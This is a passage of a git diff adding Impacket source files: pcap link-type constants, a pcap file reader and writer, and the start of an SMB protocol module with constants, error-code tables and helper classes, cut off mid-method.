+DLT_MPEG_2_TS = LINKTYPE_MPEG_2_TS
+LINKTYPE_NG40 = 244
+DLT_NG40 = LINKTYPE_NG40
+LINKTYPE_NFC_LLCP = 245
+DLT_NFC_LLCP = LINKTYPE_NFC_LLCP
+LINKTYPE_INFINIBAND = 247
+DLT_INFINIBAND = LINKTYPE_INFINIBAND
+LINKTYPE_SCTP = 248
+DLT_SCTP = LINKTYPE_SCTP
+LINKTYPE_USBPCAP = 249
+DLT_USBPCAP = LINKTYPE_USBPCAP
+LINKTYPE_RTAC_SERIAL = 250
+DLT_RTAC_SERIAL = LINKTYPE_RTAC_SERIAL
+LINKTYPE_BLUETOOTH_LE_LL = 251
+DLT_BLUETOOTH_LE_LL = LINKTYPE_BLUETOOTH_LE_LL
+LINKTYPE_NETLINK = 253
+DLT_NETLINK = LINKTYPE_NETLINK
+LINKTYPE_BLUETOOTH_LINUX_MONITOR = 254
+DLT_BLUETOOTH_LINUX_MONITOR = LINKTYPE_BLUETOOTH_LINUX_MONITOR
+LINKTYPE_BLUETOOTH_BREDR_BB = 255
+DLT_BLUETOOTH_BREDR_BB = LINKTYPE_BLUETOOTH_BREDR_BB
+LINKTYPE_BLUETOOTH_LE_LL_WITH_PHDR = 256
+DLT_BLUETOOTH_LE_LL_WITH_PHDR = LINKTYPE_BLUETOOTH_LE_LL_WITH_PHDR
+LINKTYPE_PROFIBUS_DL = 257
+DLT_PROFIBUS_DL = LINKTYPE_PROFIBUS_DL
+LINKTYPE_PKTAP = 258
+DLT_PKTAP = LINKTYPE_PKTAP
+LINKTYPE_EPON = 259
+DLT_EPON = LINKTYPE_EPON
+LINKTYPE_IPMI_HPM_2 = 260
+DLT_IPMI_HPM_2 = LINKTYPE_IPMI_HPM_2
diff --git a/impacket/pcapfile.py b/impacket/pcapfile.py
new file mode 100644
index 0000000..c8b29eb
--- /dev/null
+++ b/impacket/pcapfile.py
@@ -0,0 +1,118 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+
+from impacket import structure
+
+O_ETH = 0
+O_IP  = 1
+O_ARP = 1
+O_UDP = 2
+O_TCP = 2
+O_ICMP = 2
+O_UDP_DATA = 3
+O_ICMP_DATA = 3
+
+MAGIC = '"\xD4\xC3\xB2\xA1'
+
+class PCapFileHeader(structure.Structure):
+    structure = (
+        ('magic', MAGIC),
+        ('versionMajor', '<H=2'),
+        ('versionMinor', '<H=4'),
+        ('GMT2localCorrection', '<l=0'),
+        ('timeAccuracy', '<L=0'),
+        ('maxLength', '<L=0xffff'),
+        ('linkType', '<L=1'),
+        ('packets','*:=[]'),
+    )
+
+class PCapFilePacket(structure.Structure):
+    structure = (
+        ('tsec', '<L=0'),
+        ('tmsec', '<L=0'),
+        ('savedLength', '<L-data'),
+        ('realLength', '<L-data'),
+        ('data',':'),
+    )
+
+    def __init__(self, *args, **kargs):
+        structure.Structure.__init__(self, *args, **kargs)
+        self['data'] = b''
+
+class PcapFile:
+    def __init__(self, fileName = None, mode = 'rb'):
+        if fileName is not None:
+           self.file = open(fileName, mode)
+        self.hdr = None
+        self.wroteHeader = False
+
+    def reset(self):
+        self.hdr = None
+        self.file.seek(0)
+
+    def close(self):
+        self.file.close()
+
+    def fileno(self):
+        return self.file.fileno()
+
+    def setFile(self, file):
+        self.file = file
+
+    def setSnapLen(self, snapLen):
+        self.createHeaderOnce()
+        self.hdr['maxLength'] = snapLen
+
+    def getSnapLen(self):
+        self.readHeaderOnce()
+        return self.hdr['maxLength']
+
+    def setLinkType(self, linkType):
+        self.createHeaderOnce()
+        self.hdr['linkType'] = linkType
+
+    def getLinkType(self):
+        self.readHeaderOnce()
+        return self.hdr['linkType']
+
+    def readHeaderOnce(self):
+        if self.hdr is None:
+           self.hdr = PCapFileHeader.fromFile(self.file)
+
+    def createHeaderOnce(self):
+        if self.hdr is None:
+           self.hdr = PCapFileHeader()
+    
+    def writeHeaderOnce(self):
+        if not self.wroteHeader:
+           self.wroteHeader = True
+           self.file.seek(0)
+           self.createHeaderOnce()
+           self.file.write(self.hdr.getData())
+
+    def read(self):
+       self.readHeaderOnce()
+       try:
+          pkt = PCapFilePacket.fromFile(self.file)
+          pkt['data'] = self.file.read(pkt['savedLength'])
+          return pkt
+       except:
+          return None
+
+    def write(self, pkt):
+        self.writeHeaderOnce()
+        self.file.write(str(pkt))
+
+    def packets(self):
+        self.reset()
+        while 1:
+           answer = self.read()
+           if answer is None:
+               break
+           yield answer
diff --git a/impacket/smb.py b/impacket/smb.py
new file mode 100644
index 0000000..fd3b1b1
--- /dev/null
+++ b/impacket/smb.py
@@ -0,0 +1,4355 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Author:
+#   Altered source done by Alberto Solino (@agsolino)
+#
+# Copyright and license note from Pysmb:
+#
+# Copyright (C) 2001 Michael Teo <michaelteo@bigfoot.com>
+# smb.py - SMB/CIFS library
+#
+# This software is provided 'as-is', without any express or implied warranty.
+# In no event will the author be held liable for any damages arising from the
+# use of this software.
+#
+# Permission is granted to anyone to use this software for any purpose,
+# including commercial applications, and to alter it and redistribute it
+# freely, subject to the following restrictions:
+#
+# 1. The origin of this software must not be misrepresented; you must not
+#    claim that you wrote the original software. If you use this software
+#    in a product, an acknowledgment in the product documentation would be
+#    appreciated but is not required.
+#
+# 2. Altered source versions must be plainly marked as such, and must not be
+#    misrepresented as being the original software.
+#
+# 3. This notice cannot be removed or altered from any source distribution.
+#
+# Todo:
+#   [ ] Try [SMB]transport fragmentation using Transact requests
+#   [ ] Try other methods of doing write (write_raw, transact2, write, write_and_unlock, write_and_close, write_mpx)
+#   [-] Try replacements for SMB_COM_NT_CREATE_ANDX  (CREATE, T_TRANSACT_CREATE, OPEN_ANDX works
+#   [x] Fix forceWriteAndx, which needs to send a RecvRequest, because recv() will not send it
+#   [x] Fix Recv() when using RecvAndx and the answer comes splet in several packets
+#   [ ] Try [SMB]transport fragmentation with overlapping segments
+#   [ ] Try [SMB]transport fragmentation with out of order segments
+#   [x] Do chained AndX requests
+#   [ ] Transform the rest of the calls to structure
+#   [X] Implement TRANS/TRANS2 reassembly for list_path
+#
+from __future__ import division
+from __future__ import print_function
+import os
+import socket
+from binascii import a2b_hex
+import datetime
+from struct import pack, unpack
+from contextlib import contextmanager
+from pyasn1.type.univ import noValue
+
+from impacket import nmb, ntlm, nt_errors, LOG
+from impacket.structure import Structure
+from impacket.spnego import SPNEGO_NegTokenInit, TypesMech, SPNEGO_NegTokenResp, ASN1_OID, asn1encode, ASN1_AID
+from impacket.krb5.gssapi import KRB5_AP_REQ
+
+# For signing
+import hashlib
+
+unicode_support = 0
+unicode_convert = 1
+
+# Dialect for SMB1
+SMB_DIALECT = 'NT LM 0.12'
+
+# Shared Device Type
+SHARED_DISK                      = 0x00
+SHARED_DISK_HIDDEN               = 0x80000000
+SHARED_PRINT_QUEUE               = 0x01
+SHARED_DEVICE                    = 0x02
+SHARED_IPC                       = 0x03
+
+# Extended attributes mask
+ATTR_ARCHIVE                     = 0x020
+ATTR_COMPRESSED                  = 0x800
+ATTR_NORMAL                      = 0x080
+ATTR_HIDDEN                      = 0x002
+ATTR_READONLY                    = 0x001
+ATTR_TEMPORARY                   = 0x100
+ATTR_DIRECTORY                   = 0x010
+ATTR_SYSTEM                      = 0x004
+
+# Service Type
+SERVICE_DISK                     = 'A:'
+SERVICE_PRINTER                  = 'LPT1:'
+SERVICE_IPC                      = 'IPC'
+SERVICE_COMM                     = 'COMM'
+SERVICE_ANY                      = '?????'
+
+# Server Type (Can be used to mask with SMBMachine.get_type() or SMBDomain.get_type())
+SV_TYPE_WORKSTATION              = 0x00000001
+SV_TYPE_SERVER                   = 0x00000002
+SV_TYPE_SQLSERVER                = 0x00000004
+SV_TYPE_DOMAIN_CTRL              = 0x00000008
+SV_TYPE_DOMAIN_BAKCTRL           = 0x00000010
+SV_TYPE_TIME_SOURCE              = 0x00000020
+SV_TYPE_AFP                      = 0x00000040
+SV_TYPE_NOVELL                   = 0x00000080
+SV_TYPE_DOMAIN_MEMBER            = 0x00000100
+SV_TYPE_PRINTQ_SERVER            = 0x00000200
+SV_TYPE_DIALIN_SERVER            = 0x00000400
+SV_TYPE_XENIX_SERVER             = 0x00000800
+SV_TYPE_NT                       = 0x00001000
+SV_TYPE_WFW                      = 0x00002000
+SV_TYPE_SERVER_NT                = 0x00004000
+SV_TYPE_POTENTIAL_BROWSER        = 0x00010000
+SV_TYPE_BACKUP_BROWSER           = 0x00020000
+SV_TYPE_MASTER_BROWSER           = 0x00040000
+SV_TYPE_DOMAIN_MASTER            = 0x00080000
+SV_TYPE_LOCAL_LIST_ONLY          = 0x40000000
+SV_TYPE_DOMAIN_ENUM              = 0x80000000
+
+# Options values for SMB.stor_file and SMB.retr_file
+SMB_O_CREAT                      = 0x10   # Create the file if file does not exists. Otherwise, operation fails.
+SMB_O_EXCL                       = 0x00   # When used with SMB_O_CREAT, operation fails if file exists. Cannot be used with SMB_O_OPEN.
+SMB_O_OPEN                       = 0x01   # Open the file if the file exists
+SMB_O_TRUNC                      = 0x02   # Truncate the file if the file exists
+
+# Share Access Mode
+SMB_SHARE_COMPAT                 = 0x00
+SMB_SHARE_DENY_EXCL              = 0x10
+SMB_SHARE_DENY_WRITE             = 0x20
+SMB_SHARE_DENY_READEXEC          = 0x30
+SMB_SHARE_DENY_NONE              = 0x40
+SMB_ACCESS_READ                  = 0x00
+SMB_ACCESS_WRITE                 = 0x01
+SMB_ACCESS_READWRITE             = 0x02
+SMB_ACCESS_EXEC                  = 0x03
+
+TRANS_DISCONNECT_TID             = 1
+TRANS_NO_RESPONSE                = 2
+
+STATUS_SUCCESS                   = 0x00000000
+STATUS_LOGON_FAILURE             = 0xC000006D
+STATUS_LOGON_TYPE_NOT_GRANTED    = 0xC000015B
+MAX_TFRAG_SIZE                   = 5840
+EVASION_NONE                     = 0
+EVASION_LOW                      = 1
+EVASION_HIGH                     = 2
+EVASION_MAX                      = 3
+RPC_X_BAD_STUB_DATA              = 0x6F7
+
+# SMB_FILE_ATTRIBUTES
+
+SMB_FILE_ATTRIBUTE_NORMAL        = 0x0000
+SMB_FILE_ATTRIBUTE_READONLY      = 0x0001
+SMB_FILE_ATTRIBUTE_HIDDEN        = 0x0002
+SMB_FILE_ATTRIBUTE_SYSTEM        = 0x0004
+SMB_FILE_ATTRIBUTE_VOLUME        = 0x0008
+SMB_FILE_ATTRIBUTE_DIRECTORY     = 0x0010
+SMB_FILE_ATTRIBUTE_ARCHIVE       = 0x0020
+SMB_SEARCH_ATTRIBUTE_READONLY    = 0x0100
+SMB_SEARCH_ATTRIBUTE_HIDDEN      = 0x0200
+SMB_SEARCH_ATTRIBUTE_SYSTEM      = 0x0400
+SMB_SEARCH_ATTRIBUTE_DIRECTORY   = 0x1000
+SMB_SEARCH_ATTRIBUTE_ARCHIVE     = 0x2000
+
+# Session SetupAndX Action flags
+SMB_SETUP_GUEST                  = 0x01
+SMB_SETUP_USE_LANMAN_KEY         = 0x02
+
+# QUERY_INFORMATION levels
+SMB_INFO_ALLOCATION              = 0x0001
+SMB_INFO_VOLUME                  = 0x0002
+FILE_FS_SIZE_INFORMATION         = 0x0003
+SMB_QUERY_FS_VOLUME_INFO         = 0x0102
+SMB_QUERY_FS_SIZE_INFO           = 0x0103
+SMB_QUERY_FILE_EA_INFO           = 0x0103
+SMB_QUERY_FS_DEVICE_INFO         = 0x0104
+SMB_QUERY_FS_ATTRIBUTE_INFO      = 0x0105
+SMB_QUERY_FILE_BASIC_INFO        = 0x0101
+SMB_QUERY_FILE_STANDARD_INFO     = 0x0102
+SMB_QUERY_FILE_ALL_INFO          = 0x0107
+FILE_FS_FULL_SIZE_INFORMATION    = 0x03EF
+
+# SET_INFORMATION levels
+SMB_SET_FILE_DISPOSITION_INFO    = 0x0102
+SMB_SET_FILE_BASIC_INFO          = 0x0101
+SMB_SET_FILE_END_OF_FILE_INFO    = 0x0104
+
+# Device Type [MS-CIFS] 2.2.8.2.5
+FILE_DEVICE_BEEP = 0x0001
+FILE_DEVICE_CD_ROM = 0x0002
+FILE_DEVICE_CD_ROM_FILE_SYSTEM = 0x0003
+FILE_DEVICE_CONTROLLER = 0x0004
+FILE_DEVICE_DATALINK = 0x0005
+FILE_DEVICE_DFS = 0x0006
+FILE_DEVICE_DISK = 0x0007
+FILE_DEVICE_DISK_FILE_SYSTEM = 0x0008
+FILE_DEVICE_FILE_SYSTEM = 0x0009
+FILE_DEVICE_INPORT_PORT = 0x000a
+FILE_DEVICE_KEYBOARD = 0x000b
+FILE_DEVICE_MAILSLOT = 0x000c
+FILE_DEVICE_MIDI_IN = 0x000d
+FILE_DEVICE_MIDI_OUT = 0x000e
+FILE_DEVICE_MOUSE = 0x000f
+FILE_DEVICE_MULTI_UNC_PROVIDER = 0x0010
+FILE_DEVICE_NAMED_PIPE = 0x0011
+FILE_DEVICE_NETWORK = 0x0012
+FILE_DEVICE_NETWORK_BROWSER = 0x0013
+FILE_DEVICE_NETWORK_FILE_SYSTEM = 0x0014
+FILE_DEVICE_NULL = 0x0015
+FILE_DEVICE_PARALLEL_PORT = 0x0016
+FILE_DEVICE_PHYSICAL_NETCARD = 0x0017
+FILE_DEVICE_PRINTER = 0x0018
+FILE_DEVICE_SCANNER = 0x0019
+FILE_DEVICE_SERIAL_MOUSE_PORT = 0x001a
+FILE_DEVICE_SERIAL_PORT = 0x001b
+FILE_DEVICE_SCREEN = 0x001c
+FILE_DEVICE_SOUND = 0x001d
+FILE_DEVICE_STREAMS = 0x001e
+FILE_DEVICE_TAPE = 0x001f
+FILE_DEVICE_TAPE_FILE_SYSTEM = 0x0020
+FILE_DEVICE_TRANSPORT = 0x0021
+FILE_DEVICE_UNKNOWN = 0x0022
+FILE_DEVICE_VIDEO = 0x0023
+FILE_DEVICE_VIRTUAL_DISK = 0x0024
+FILE_DEVICE_WAVE_IN = 0x0025
+FILE_DEVICE_WAVE_OUT = 0x0026
+FILE_DEVICE_8042_PORT = 0x0027
+FILE_DEVICE_NETWORK_REDIRECTOR = 0x0028
+FILE_DEVICE_BATTERY = 0x0029
+FILE_DEVICE_BUS_EXTENDER = 0x002a
+FILE_DEVICE_MODEM = 0x002b
+FILE_DEVICE_VDM = 0x002c
+
+# Device Characteristics [MS-CIFS] 2.2.8.2.5
+FILE_REMOVABLE_MEDIA    = 0x0001
+FILE_READ_ONLY_DEVICE   = 0x0002
+FILE_FLOPPY_DISKETTE    = 0x0004
+FILE_WRITE_ONCE_MEDIA   = 0x0008
+FILE_REMOTE_DEVICE      = 0x0010
+FILE_DEVICE_IS_MOUNTED  = 0x0020
+FILE_VIRTUAL_VOLUME     = 0x0040
+
+# File System Attributes
+FILE_CASE_SENSITIVE_SEARCH       = 0x00000001
+FILE_CASE_PRESERVED_NAMES        = 0x00000002
+FILE_UNICODE_ON_DISK             = 0x00000004
+FILE_PERSISTENT_ACLS             = 0x00000008
+FILE_FILE_COMPRESSION            = 0x00000010
+FILE_VOLUME_IS_COMPRESSED        = 0x00008000
+
+# FIND_FIRST2 flags and levels
+SMB_FIND_CLOSE_AFTER_REQUEST     = 0x0001
+SMB_FIND_CLOSE_AT_EOS            = 0x0002
+SMB_FIND_RETURN_RESUME_KEYS      = 0x0004
+SMB_FIND_CONTINUE_FROM_LAST      = 0x0008
+SMB_FIND_WITH_BACKUP_INTENT      = 0x0010
+
+FILE_DIRECTORY_FILE              = 0x00000001
+FILE_DELETE_ON_CLOSE             = 0x00001000
+FILE_NON_DIRECTORY_FILE          = 0x00000040
+
+SMB_FIND_INFO_STANDARD           = 0x0001
+SMB_FIND_FILE_DIRECTORY_INFO     = 0x0101
+SMB_FIND_FILE_FULL_DIRECTORY_INFO= 0x0102
+SMB_FIND_FILE_NAMES_INFO         = 0x0103
+SMB_FIND_FILE_BOTH_DIRECTORY_INFO= 0x0104
+SMB_FIND_FILE_ID_FULL_DIRECTORY_INFO = 0x105
+SMB_FIND_FILE_ID_BOTH_DIRECTORY_INFO = 0x106
+
+
+# DesiredAccess flags
+FILE_READ_DATA                   = 0x00000001
+FILE_WRITE_DATA                  = 0x00000002
+FILE_APPEND_DATA                 = 0x00000004
+FILE_EXECUTE                     = 0x00000020
+MAXIMUM_ALLOWED                  = 0x02000000
+GENERIC_ALL                      = 0x10000000
+GENERIC_EXECUTE                  = 0x20000000
+GENERIC_WRITE                    = 0x40000000
+GENERIC_READ                     = 0x80000000
+
+# ShareAccess flags
+FILE_SHARE_NONE                  = 0x00000000
+FILE_SHARE_READ                  = 0x00000001
+FILE_SHARE_WRITE                 = 0x00000002
+FILE_SHARE_DELETE                = 0x00000004
+
+# CreateDisposition flags
+FILE_SUPERSEDE                  = 0x00000000
+FILE_OPEN                       = 0x00000001
+FILE_CREATE                     = 0x00000002
+FILE_OPEN_IF                    = 0x00000003
+FILE_OVERWRITE                  = 0x00000004
+FILE_OVERWRITE_IF               = 0x00000005
+
+def strerror(errclass, errcode):
+    if errclass == 0x01:
+        return 'OS error', ERRDOS.get(errcode, 'Unknown error')
+    elif errclass == 0x02:
+        return 'Server error', ERRSRV.get(errcode, 'Unknown error')
+    elif errclass == 0x03:
+        return 'Hardware error', ERRHRD.get(errcode, 'Unknown error')
+    # This is not a standard error class for SMB
+    #elif errclass == 0x80:
+    #    return 'Browse error', ERRBROWSE.get(errcode, 'Unknown error')
+    elif errclass == 0xff:
+        return 'Bad command', 'Bad command. Please file bug report'
+    else:
+        return 'Unknown error', 'Unknown error'
+
+# Raised when an error has occurred during a session
+class SessionError(Exception):
+    # SMB X/Open error codes for the ERRDOS error class
+    ERRsuccess                           = 0
+    ERRbadfunc                           = 1
+    ERRbadfile                           = 2
+    ERRbadpath                           = 3
+    ERRnofids                            = 4
+    ERRnoaccess                          = 5
+    ERRbadfid                            = 6
+    ERRbadmcb                            = 7
+    ERRnomem                             = 8
+    ERRbadmem                            = 9
+    ERRbadenv                            = 10
+    ERRbadaccess                         = 12
+    ERRbaddata                           = 13
+    ERRres                               = 14
+    ERRbaddrive                          = 15
+    ERRremcd                             = 16
+    ERRdiffdevice                        = 17
+    ERRnofiles                           = 18
+    ERRgeneral                           = 31
+    ERRbadshare                          = 32
+    ERRlock                              = 33
+    ERRunsup                             = 50
+    ERRnetnamedel                        = 64
+    ERRnosuchshare                       = 67
+    ERRfilexists                         = 80
+    ERRinvalidparam                      = 87
+    ERRcannotopen                        = 110
+    ERRinsufficientbuffer                = 122
+    ERRinvalidname                       = 123
+    ERRunknownlevel                      = 124
+    ERRnotlocked                         = 158
+    ERRrename                            = 183
+    ERRbadpipe                           = 230
+    ERRpipebusy                          = 231
+    ERRpipeclosing                       = 232
+    ERRnotconnected                      = 233
+    ERRmoredata                          = 234
+    ERRnomoreitems                       = 259
+    ERRbaddirectory                      = 267
+    ERReasnotsupported                   = 282
+    ERRlogonfailure                      = 1326
+    ERRbuftoosmall                       = 2123
+    ERRunknownipc                        = 2142
+    ERRnosuchprintjob                    = 2151
+    ERRinvgroup                          = 2455
+
+    # here's a special one from observing NT
+    ERRnoipc                             = 66
+
+    # These errors seem to be only returned by the NT printer driver system
+    ERRdriveralreadyinstalled            = 1795
+    ERRunknownprinterport                = 1796
+    ERRunknownprinterdriver              = 1797
+    ERRunknownprintprocessor             = 1798
+    ERRinvalidseparatorfile              = 1799
+    ERRinvalidjobpriority                = 1800
+    ERRinvalidprintername                = 1801
+    ERRprinteralreadyexists              = 1802
+    ERRinvalidprintercommand             = 1803
+    ERRinvaliddatatype                   = 1804
+    ERRinvalidenvironment                = 1805
+
+    ERRunknownprintmonitor               = 3000
+    ERRprinterdriverinuse                = 3001
+    ERRspoolfilenotfound                 = 3002
+    ERRnostartdoc                        = 3003
+    ERRnoaddjob                          = 3004
+    ERRprintprocessoralreadyinstalled    = 3005
+    ERRprintmonitoralreadyinstalled      = 3006
+    ERRinvalidprintmonitor               = 3007
+    ERRprintmonitorinuse                 = 3008
+    ERRprinterhasjobsqueued              = 3009
+
+    # Error codes for the ERRSRV class
+
+    ERRerror                             = 1
+    ERRbadpw                             = 2
+    ERRbadtype                           = 3
+    ERRaccess                            = 4
+    ERRinvnid                            = 5
+    ERRinvnetname                        = 6
+    ERRinvdevice                         = 7
+    ERRqfull                             = 49
+    ERRqtoobig                           = 50
+    ERRinvpfid                           = 52
+    ERRsmbcmd                            = 64
+    ERRsrverror                          = 65
+    ERRfilespecs                         = 67
+    ERRbadlink                           = 68
+    ERRbadpermits                        = 69
+    ERRbadpid                            = 70
+    ERRsetattrmode                       = 71
+    ERRpaused                            = 81
+    ERRmsgoff                            = 82
+    ERRnoroom                            = 83
+    ERRrmuns                             = 87
+    ERRtimeout                           = 88
+    ERRnoresource                        = 89
+    ERRtoomanyuids                       = 90
+    ERRbaduid                            = 91
+    ERRuseMPX                            = 250
+    ERRuseSTD                            = 251
+    ERRcontMPX                           = 252
+    ERRbadPW                             = None
+    ERRnosupport                         = 0
+    ERRunknownsmb                        = 22
+
+    # Error codes for the ERRHRD class
+
+    ERRnowrite                           = 19
+    ERRbadunit                           = 20
+    ERRnotready                          = 21
+    ERRbadcmd                            = 22
+    ERRdata                              = 23
+    ERRbadreq                            = 24
+    ERRseek                              = 25
+    ERRbadmedia                          = 26
+    ERRbadsector                         = 27
+    ERRnopaper                           = 28
+    ERRwrite                             = 29
+    ERRread                              = 30
+    ERRwrongdisk                         = 34
+    ERRFCBunavail                        = 35
+    ERRsharebufexc                       = 36
+    ERRdiskfull                          = 39
+
+
+    hard_msgs = {
+      19: ("ERRnowrite", "Attempt to write on write-protected diskette."),
+      20: ("ERRbadunit", "Unknown unit."),
+      21: ("ERRnotready", "Drive not ready."),
+      22: ("ERRbadcmd", "Unknown command."),
+      23: ("ERRdata", "Data error (CRC)."),
+      24: ("ERRbadreq", "Bad request structure length."),
+      25: ("ERRseek", "Seek error."),
+      26: ("ERRbadmedia", "Unknown media type."),
+      27: ("ERRbadsector", "Sector not found."),
+      28: ("ERRnopaper", "Printer out of paper."),
+      29: ("ERRwrite", "Write fault."),
+      30: ("ERRread", "Read fault."),
+      31: ("ERRgeneral", "General failure."),
+      32: ("ERRbadshare", "An open conflicts with an existing open."),
+      33: ("ERRlock", "A Lock request conflicted with an existing lock or specified an invalid mode, or an Unlock requested attempted to remove a lock held by another process."),
+      34: ("ERRwrongdisk", "The wrong disk was found in a drive."),
+      35: ("ERRFCBUnavail", "No FCBs are available to process request."),
+      36: ("ERRsharebufexc", "A sharing buffer has been exceeded.")
+      }
+
+    dos_msgs = {
+      ERRbadfunc: ("ERRbadfunc", "Invalid function."),
+      ERRbadfile: ("ERRbadfile", "File not found."),
+      ERRbadpath: ("ERRbadpath", "Directory invalid."),
+      ERRnofids: ("ERRnofids", "No file descriptors available"),
+      ERRnoaccess: ("ERRnoaccess", "Access denied."),
+      ERRbadfid: ("ERRbadfid", "Invalid file handle."),
+      ERRbadmcb: ("ERRbadmcb", "Memory control blocks destroyed."),
+      ERRnomem: ("ERRnomem", "Insufficient server memory to perform the requested function."),
+      ERRbadmem: ("ERRbadmem", "Invalid memory block address."),
+      ERRbadenv: ("ERRbadenv", "Invalid environment."),
+      11: ("ERRbadformat", "Invalid format."),
+      ERRbadaccess: ("ERRbadaccess", "Invalid open mode."),
+      ERRbaddata: ("ERRbaddata", "Invalid data."),
+      ERRres: ("ERRres", "reserved."),
+      ERRbaddrive: ("ERRbaddrive", "Invalid drive specified."),
+      ERRremcd: ("ERRremcd", "A Delete Directory request attempted  to  remove  the  server's  current directory."),
+      ERRdiffdevice: ("ERRdiffdevice", "Not same device."),
+      ERRnofiles: ("ERRnofiles", "A File Search command can find no more files matching the specified criteria."),
+      ERRbadshare: ("ERRbadshare", "The sharing mode specified for an Open conflicts with existing  FIDs  on the file."),
+      ERRlock: ("ERRlock", "A Lock request conflicted with an existing lock or specified an  invalid mode,  or an Unlock requested attempted to remove a lock held by another process."),
+      ERRunsup: ("ERRunsup",  "The operation is unsupported"),
+      ERRnosuchshare: ("ERRnosuchshare",  "You specified an invalid share name"),
+      ERRfilexists: ("ERRfilexists", "The file named in a Create Directory, Make  New  File  or  Link  request already exists."),
+      ERRinvalidname: ("ERRinvalidname",  "Invalid name"),
+      ERRbadpipe: ("ERRbadpipe", "Pipe invalid."),
+      ERRpipebusy: ("ERRpipebusy", "All instances of the requested pipe are busy."),
+      ERRpipeclosing: ("ERRpipeclosing", "Pipe close in progress."),
+      ERRnotconnected: ("ERRnotconnected", "No process on other end of pipe."),
+      ERRmoredata: ("ERRmoredata", "There is more data to be returned."),
+      ERRinvgroup: ("ERRinvgroup", "Invalid workgroup (try the -W option)"),
+      ERRlogonfailure: ("ERRlogonfailure", "Logon failure"),
+      ERRdiskfull: ("ERRdiskfull", "Disk full"),
+      ERRgeneral: ("ERRgeneral",  "General failure"),
+      ERRunknownlevel: ("ERRunknownlevel",  "Unknown info level")
+      }
+
+    server_msgs = {
+      1: ("ERRerror", "Non-specific error code."),
+      2: ("ERRbadpw", "Bad password - name/password pair in a Tree Connect or Session Setup are invalid."),
+      3: ("ERRbadtype", "reserved."),
+      4: ("ERRaccess", "The requester does not have  the  necessary  access  rights  within  the specified  context for the requested function. The context is defined by the TID or the UID."),
+      5: ("ERRinvnid", "The tree ID (TID) specified in a command was invalid."),
+      6: ("ERRinvnetname", "Invalid network name in tree connect."),
+      7: ("ERRinvdevice", "Invalid device - printer request made to non-printer connection or  non-printer request made to printer connection."),
+      49: ("ERRqfull", "Print queue full (files) -- returned by open print file."),
+      50: ("ERRqtoobig", "Print queue full -- no space."),
+      51: ("ERRqeof", "EOF on print queue dump."),
+      52: ("ERRinvpfid", "Invalid print file FID."),
+      64: ("ERRsmbcmd", "The server did not recognize the command received."),
+      65: ("ERRsrverror","The server encountered an internal error, e.g., system file unavailable."),
+      67: ("ERRfilespecs", "The file handle (FID) and pathname parameters contained an invalid  combination of values."),
+      68: ("ERRreserved", "reserved."),
+      69: ("ERRbadpermits", "The access permissions specified for a file or directory are not a valid combination.  The server cannot set the requested attribute."),
+      70: ("ERRreserved", "reserved."),
+      71: ("ERRsetattrmode", "The attribute mode in the Set File Attribute request is invalid."),
+      81: ("ERRpaused", "Server is paused."),
+      82: ("ERRmsgoff", "Not receiving messages."),
+      83: ("ERRnoroom", "No room to buffer message."),
+      87: ("ERRrmuns", "Too many remote user names."),
+      88: ("ERRtimeout", "Operation timed out."),
+      89: ("ERRnoresource", "No resources currently available for request."),
+      90: ("ERRtoomanyuids", "Too many UIDs active on this session."),
+      91: ("ERRbaduid", "The UID is not known as a valid ID on this session."),
+      250: ("ERRusempx","Temp unable to support Raw, use MPX mode."),
+      251: ("ERRusestd","Temp unable to support Raw, use standard read/write."),
+      252: ("ERRcontmpx", "Continue in MPX mode."),
+      253: ("ERRreserved", "reserved."),
+      254: ("ERRreserved", "reserved."),
+  0xFFFF: ("ERRnosupport", "Function not supported.")
+  }
+    # Error clases
+
+    ERRDOS = 0x1
+    error_classes = { 0: ("SUCCESS", {}),
+                      ERRDOS: ("ERRDOS", dos_msgs),
+                      0x02: ("ERRSRV",server_msgs),
+                      0x03: ("ERRHRD",hard_msgs),
+                      0x04: ("ERRXOS", {} ),
+                      0xE1: ("ERRRMX1", {} ),
+                      0xE2: ("ERRRMX2", {} ),
+                      0xE3: ("ERRRMX3", {} ),
+                      0xFF: ("ERRCMD", {} ) }
+
+
+
+    def __init__( self, error_string, error_class, error_code, nt_status = 0, packet=0):
+        Exception.__init__(self, error_string)
+        self.nt_status = nt_status
+        self._args = error_string
+        if nt_status:
+           self.error_class = 0
+           self.error_code  = (error_code << 16) + error_class
+        else:
+           self.error_class = error_class
+           self.error_code = error_code
+        self.packet = packet
+
+    def get_error_class( self ):
+        return self.error_class
+
+    def get_error_code( self ):
+        return self.error_code
+
+    def get_error_packet(self):
+        return self.packet
+
+    def __str__( self ):
+        error_class = SessionError.error_classes.get( self.error_class, None )
+        if not error_class:
+            error_code_str = self.error_code
+            error_class_str = self.error_class
+        else:
+            error_class_str = error_class[0]
+            error_code = error_class[1].get( self.error_code, None )
+            if not error_code:
+                error_code_str = self.error_code
+            else:
+                error_code_str = '%s(%s)' % error_code
+
+        if self.nt_status:
+            return 'SMB SessionError: %s(%s)' % nt_errors.ERROR_MESSAGES[self.error_code]
+        else:
+            # Fall back to the old format
+            return 'SMB SessionError: class: %s, code: %s' % (error_class_str, error_code_str)
+
+
+# Raised when an supported feature is present/required in the protocol but is not
+# currently supported by pysmb
+class UnsupportedFeature(Exception):
+    pass
+
+# Contains information about a SMB shared device/service
+class SharedDevice:
+    def __init__(self, name, share_type, comment):
+        self.__name = name
+        self.__type = share_type
+        self.__comment = comment
+
+    def get_name(self):
+        return self.__name
+
+    def get_type(self):
+        return self.__type
+
+    def get_comment(self):
+        return self.__comment
+
+    def __repr__(self):
+        return '<SharedDevice instance: name=' + self.__name + ', type=' + str(self.__type) + ', comment="' + self.__comment + '">'
+
+
+# Contains information about the shared file/directory
+class SharedFile:
+    def __init__(self, ctime, atime, mtime, filesize, allocsize, attribs, shortname, longname):
+        self.__ctime = ctime
+        self.__atime = atime
+        self.__mtime = mtime
+        self.__filesize = filesize
+        self.__allocsize = allocsize
+        self.__attribs = attribs
+        try:
+            if isinstance(shortname,bytes):
+                self.__shortname = shortname[:shortname.index(b'\0')]
+            else:
+                self.__shortname = shortname[:shortname.index('\0')]
